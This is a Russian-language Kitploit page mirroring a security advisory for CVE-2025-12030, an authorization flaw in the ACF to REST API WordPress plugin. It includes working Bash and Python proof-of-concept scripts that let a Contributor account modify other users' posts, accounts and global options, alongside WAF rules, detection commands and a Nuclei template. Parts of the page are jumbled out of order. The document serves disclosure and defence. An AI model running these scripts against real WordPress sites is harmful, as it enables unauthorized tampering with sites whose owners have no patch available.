Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-12030 — ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) — Уязвимость безопасности, позволяющая аутентифицированным пользователям с уровнем доступа Contributor изменять поля ACF на объектах, которые им не принадлежат. | Kitploit
Инструменты/GitHubGitHub/snailsploit/cve-2025-12030
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubsnailsploit/cve-2025-12030

CVE-2025-12030

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) — Уязвимость безопасности, позволяющая аутентифицированным пользователям с уровнем доступа Contributor изменять поля ACF на объектах, которые им не принадлежат.

Репозиторий
114 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-12030: Небезопасная прямая ссылка на объект в плагине ACF to REST API для WordPress

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

Ключевые слова: CVE-2025-12030, уязвимость ACF to REST API, IDOR, безопасность WordPress, эксплойт с аутентификацией, уязвимость плагина WordPress, CWE-639, изменение полей ACF, обход авторизации, WordPress CVE 2025, Advanced Custom Fields, безопасность REST API


Содержание

  • Обзор
403) ); } return $permission; }, 10, 3); ``` #### Вариант 2: Ограничение через .htaccess```apache # Block ACF REST API modification endpoints for non-admins RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$ RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC] RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC] RewriteRule .* - [F,L] ``` #### Вариант 3: Конфигурация Nginx```nginx # Block ACF REST API modification requests location ~* ^/wp-json/acf/v3/ { if ($request_method ~* "(PUT|POST|PATCH)") { # Implement proper authorization check or block entirely return 403; } try_files $uri $uri/ /index.php?$args; } ``` ### Для разработчиков плагинов Если вы форкаете или патчите плагин, реализуйте правильную авторизацию для конкретных объектов:```php get_param( 'id' ); $type = $this->get_object_type( $request ); switch ( $type ) { case 'post': case 'page': // Check if user can edit THIS specific post if ( ! current_user_can( 'edit_post', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'user': // Check if user can edit THIS specific user if ( ! current_user_can( 'edit_user', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'option': // Options require manage_options capability if ( ! current_user_can( 'manage_options' ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to manage options.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'term': $taxonomy = $request->get_param( 'taxonomy' ); $tax_obj = get_taxonomy( $taxonomy ); if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit terms.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'comment': if ( ! current_user_can( 'edit_comment', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: return new WP_Error( 'rest_invalid_type', __( 'Invalid object type.' ), array( 'status' => 400 ) ); } return true; } ``` ## Обнаружение ### Анализ журналов Поиск подозрительной активности REST API:```bash # Search access logs for ACF REST API modification attempts grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log ``` ### Проверка плагинов WordPress```bash # Check if vulnerable version is installed wp plugin list | grep -i "acf-to-rest-api" # Get plugin version wp plugin get acf-to-rest-api --field=version ``` ### Правила сканера безопасности **Шаблон Nuclei:**```yaml id: CVE-2025-12030 info: name: ACF to REST API - IDOR ACF Field Modification author: SnailSploit severity: medium description: ACF to REST API plugin for WordPress is vulnerable to IDOR reference: - https://github.com/SnailSploit/CVE-2025-12030 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated http: - raw: - | POST /wp-json/acf/v3/posts/1 HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} Content-Type: application/json {"fields":{"nuclei_test":"CVE-2025-12030"}} matchers-condition: and matchers: - type: word words: - "acf" condition: or - type: status status: - 200 ``` ### Правила межсетевого экрана веб-приложений **Правило ModSecurity:**```apache # CVE-2025-12030 - Block unauthorized ACF REST API modifications SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \ "id:2025012030,\ phase:2,\ t:none,t:urlDecodeUni,t:normalizePathWin,\ chain,\ deny,\ status:403,\ log,\ msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'" SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none" ``` ## Хронология - **6 января 2026 года** - Уязвимость публично раскрыта - **6 января 2026 года** - Присвоен CVE-2025-12030 - **Текущий статус** - ⚠️ Патч отсутствует ## Ссылки - [Wordfence Intelligence - CVE-2025-12030](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification) - [WordPress Plugin Trac - ACF to REST API](https://plugins.trac.wordpress.org/browser/acf-to-rest-api) - [WordPress Plugin Directory](https://wordpress.org/plugins/acf-to-rest-api/) - [CWE-639 - Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html) - [OWASP - Insecure Direct Object Reference](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) ## Авторы **Исследователь:** - [**Kai Aizen**](https://linkedin.com/in/kaiaizen) - [SnailSploit](https://snailsploit.com) **Процесс раскрытия:** Координировано через Wordfence Bug Bounty Program ## Отказ от ответственности Эта информация предоставлена исключительно для целей исследования безопасности и защиты. Любая эксплуатация этой уязвимости в злонамеренных целях является незаконной и неэтичной. Всегда получайте соответствующее разрешение перед тестированием систем, которые вам не принадлежат. ## Контакты Для вопросов или дополнительной информации об этой уязвимости: - **Электронная почта:** [[email protected]](mailto:[email protected]) - **Веб-сайт:** [snailsploit.com](https://snailsploit.com) - **Организация:** SnailSploit Security Research --- *Последнее обновление: 6 января 2026 года* --- ## 📚 Документация и автор Полный отчет по этому проекту, методология и связанные исследования находятся по адресу: **[https://snailsploit.com/security-research/cves/cve-2025-12030/](https://snailsploit.com/security-research/cves/cve-2025-12030/)** Создано **Kai Aizen** — независимым исследователем безопасности в области наступательных действий. [snailsploit.com](https://snailsploit.com) · [Research](https://snailsploit.com/research) · [Frameworks](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit) > *Та же атака. Другой субстрат.*
  • Детали уязвимости
  • Технический анализ
  • Вектор атаки
  • Доказательство концепции
  • Руководство по устранению
  • Обнаружение
  • Метрики CVSS
  • Ссылки
  • Авторы
  • Контакт для сообщений об уязвимостях
  • Обзор

    Уязвимость IDOR в плагине ACF to REST API для WordPress (CVE-2025-12030) — недостаток безопасности, позволяющий аутентифицированным пользователям с уровнем доступа Contributor изменять поля ACF на объектах, которые им не принадлежат.

    Обнаружена небезопасная прямая ссылка на объект (IDOR) в плагине ACF to REST API для WordPress, которая позволяет аутентифицированным злоумышленникам с минимальными привилегиями изменять поля ACF во всей установке WordPress.

    Обнаружил: Kai Aizen (SnailSploit)
    Опубликовано: 6 января 2026 г.
    Оценка CVSS: 4.3 (Средний)
    CWE: CWE-639 — Обход авторизации через контролируемый пользователем ключ
    Плагин: ACF to REST API
    Slug плагина: acf-to-rest-api
    Тип атаки: Небезопасная прямая ссылка на объект (IDOR)
    Требуемые привилегии: Contributor+ (Аутентифицированная атака)

    Детали уязвимости

    Описание

    Плагин ACF to REST API для WordPress подвержен небезопасной прямой ссылке на объект во всех версиях до 3.3.4 включительно. Это связано с недостаточными проверками возможностей в методе update_item_permissions_check(), который проверяет только наличие у текущего пользователя возможности edit_posts, не проверяя права доступа к конкретному объекту (например, edit_post($id), edit_user($id), manage_options).

    Воздействие

    Эта уязвимость позволяет аутентифицированным злоумышленникам с уровнем доступа Contributor и выше:

    • Изменять поля AFC на чужих записях — обход ограничений владения записью
    • Изменять поля ACF в любых учётных записях пользователей — включая учётные записи администраторов
    • Изменять поля ACF в комментариях — изменять метаданные комментариев
    • Изменять поля ACF в терминах таксономии — изменять настраиваемые поля категорий/меток
    • Изменять глобальную страницу опций — доступ к общесайтовым опциям ACF без возможности manage_options

    Все модификации возможны через конечные точки REST API /wp-json/acf/v3/{type}/{id}.

    Затронутые версии

    • Уязвимы: Все версии ≤ 3.3.4
    • Исправлено: ⚠️ Нет доступного исправления

    Метрики CVSS v3.1```

    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

    root@kitploit:~
    | Метрика | Значение |
    |--------|-------|
    | Вектор атаки | Сеть (AV:N) |
    | Сложность атаки | Низкая (AC:L) |
    | Требуемые привилегии | Низкие (PR:L) |
    | Взаимодействие с пользователем | Отсутствует (UI:N) |
    | Область действия | Не изменяется (S:U) |
    | Конфиденциальность | Отсутствует (C:N) |
    | Целостность | Низкая (I:L) |
    | Доступность | Отсутствует (A:N) |
    
    **CVSS v3.1 Расшифровка:**
    
    - **Вектор атаки (AV):** Сеть — уязвимость может быть использована удалённо по сети
    - **Сложность атаки (AC):** Низкая — для эксплуатации не требуются особые условия
    - **Требуемые привилегии (PR):** Низкие — требуется аутентификация на уровне участника (Contributor)
    - **Взаимодействие с пользователем (UI):** Отсутствует — эксплуатация происходит без какого-либо взаимодействия с пользователем
    - **Область действия (S):** Не изменяется — уязвимость затрагивает только уязвимый компонент
    - **Влияние на конфиденциальность (C):** Отсутствует — нет раскрытия информации
    - **Влияние на целостность (I):** Низкое — несанкционированная модификация полей ACF
    - **Влияние на доступность (A):** Отсутствует — нет влияния на доступность
    
    ## Технические детали
    
    ### Коренная причина уязвимости
    
    Уязвимость существует в методе `update_item_permissions_check()`, который выполняет недостаточную авторизацию:```php
    // Vulnerable code pattern (simplified)
    public function update_item_permissions_check( $request ) {
        // VULNERABLE: Only checks generic edit_posts capability
        if ( current_user_can( 'edit_posts' ) ) {
            return true;
        }
        return false;
    }
    

    Правильная реализация должна проверять объектно-специфические разрешения:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

    root@kitploit:~
    switch ( $type ) {
        case 'post':
            return current_user_can( 'edit_post', $id );
        case 'user':
            return current_user_can( 'edit_user', $id );
        case 'option':
            return current_user_can( 'manage_options' );
        // ... other object types
    }
    return false;
    

    }

    root@kitploit:~
    ### Уязвимые конечные точки
    
    | Конечная точка | Цель | Требуемая возможность (должна быть) |
    |----------|--------|--------------------------------|
    | `/wp-json/acf/v3/posts/{id}` | Записи | `edit_post($id)` |
    | `/wp-json/acf/v3/pages/{id}` | Страницы | `edit_page($id)` |
    | `/wp-json/acf/v3/users/{id}` | Пользователи | `edit_user($id)` |
    | `/wp-json/acf/v3/comments/{id}` | Комментарии | `edit_comment($id)` |
    | `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Термины | `edit_term($id)` |
    | `/wp-json/acf/v3/options/{option}` | Настройки | `manage_options` |
    
    ### Вектор атаки```
    PUT/POST /wp-json/acf/v3/{type}/{id}
    Authorization: Basic <contributor_credentials>
    Content-Type: application/json
    
    {
        "fields": {
            "field_name": "malicious_value"
        }
    }
    

    Уязвимость может быть использована через WordPress REST API любым аутентифицированным пользователем с ролью не ниже Contributor.

    Доказательство концепции

    ⚠️ Только для образовательных и авторизованных целей тестирования

    Bash PoC```bash

    #!/bin/bash

    CVE-2025-12030 PoC - ACF to REST API IDOR

    TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

    if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

    echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

    Encode credentials

    AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

    Step 1: Read current ACF fields (verify access)

    echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
    -H "Authorization: Basic $AUTH"
    | python3 -m json.tool

    echo ""

    Step 2: Attempt to modify ACF fields on post we don't own

    echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..." RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
    -H "Authorization: Basic $AUTH"
    -H "Content-Type: application/json"
    -d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

    echo "$RESPONSE" | python3 -m json.tool

    echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi

    root@kitploit:~
    ### Python PoC```python
    #!/usr/bin/env python3
    """
    CVE-2025-12030 - ACF to REST API IDOR PoC
    For educational and authorized testing purposes only
    """
    
    import requests
    import sys
    import json
    import base64
    
    def exploit(target_url, username, app_password, target_id, target_type="posts"):
        """
        Exploit CVE-2025-12030 IDOR vulnerability
        
        Args:
            target_url: WordPress site URL
            username: Contributor-level username
            app_password: Application password
            target_id: ID of the object to modify (post, user, etc.)
            target_type: Type of object (posts, pages, users, options, etc.)
        """
        
        api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
        
        # Create Basic Auth header
        credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
        headers = {
            "Authorization": f"Basic {credentials}",
            "Content-Type": "application/json"
        }
        
        print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
        print(f"[*] Target: {target_url}")
        print(f"[*] Endpoint: {api_endpoint}")
        print(f"[*] Object Type: {target_type}")
        print(f"[*] Object ID: {target_id}\n")
        
        # Step 1: Read current ACF fields
        print("[*] Step 1: Reading current ACF fields...")
        try:
            response = requests.get(api_endpoint, headers=headers, timeout=10)
            if response.status_code == 200:
                print(f"[+] Current ACF fields:")
                print(json.dumps(response.json(), indent=2))
            else:
                print(f"[-] Failed to read fields: {response.status_code}")
                print(response.text)
        except requests.RequestException as e:
            print(f"[-] Error reading fields: {e}")
            return
        
        print("")
        
        # Step 2: Attempt IDOR modification
        print("[*] Step 2: Attempting unauthorized modification...")
        
        payload = {
            "fields": {
                "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
            }
        }
        
        try:
            response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
            
            if response.status_code == 200:
                result = response.json()
                print(f"[+] Response:")
                print(json.dumps(result, indent=2))
                
                if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                    print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                    print("[!] Contributor-level user was able to modify objects they don't own!")
                else:
                    print("\n[+] Modification request accepted - verify manually")
            else:
                print(f"[-] Request failed with status: {response.status_code}")
                print(f"Response: {response.text}")
                
        except requests.RequestException as e:
            print(f"[-] Error: {e}")
    
    def test_options_page(target_url, username, app_password):
        """Test modification of global options page (requires manage_options normally)"""
        
        api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
        
        credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
        headers = {
            "Authorization": f"Basic {credentials}",
            "Content-Type": "application/json"
        }
        
        print(f"\n[*] Testing Options Page IDOR...")
        print(f"[*] Endpoint: {api_endpoint}")
        print(f"[*] NOTE: This normally requires manage_options capability!\n")
        
        payload = {
            "fields": {
                "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
            }
        }
        
        try:
            response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
            
            if response.status_code == 200:
                print(f"[!] CRITICAL: Contributor modified global options page!")
                print(json.dumps(response.json(), indent=2))
            else:
                print(f"[-] Options modification failed: {response.status_code}")
                
        except requests.RequestException as e:
            print(f"[-] Error: {e}")
    
    if __name__ == "__main__":
        if len(sys.argv) < 5:
            print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
            print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
            print(f"\nSupported types: posts, pages, users, comments, options")
            sys.exit(1)
        
        target_url = sys.argv[1]
        username = sys.argv[2]
        app_password = sys.argv[3]
        target_id = sys.argv[4]
        target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
        
        exploit(target_url, username, app_password, target_id, target_type)
        
        # Also test options page access
        if target_type != "options":
            test_options_page(target_url, username, app_password)
    

    Устранение проблемы

    Для администраторов сайта

    Требуются немедленные действия:

    ⚠️ Официального исправления для этой уязвимости в настоящее время нет.

    1. Рассмотрите возможность удаления плагина, если функциональность ACF REST API не является критической
    2. Ограничьте регистрацию пользователей и проверьте существующие учетные записи уровня Contributor+
    3. Внедрите правила WAF для блокировки несанкционированных изменений через REST API
    4. Отслеживайте активность REST API на предмет подозрительных изменений полей ACF
    5. Рассмотрите альтернативные плагины с надлежащими механизмами авторизации

    Временные меры защиты

    Вариант 1: Отключение конечных точек REST API через код

    Добавьте в файл functions.php вашей темы или в кастомный плагин:```php

    Скачать инструмент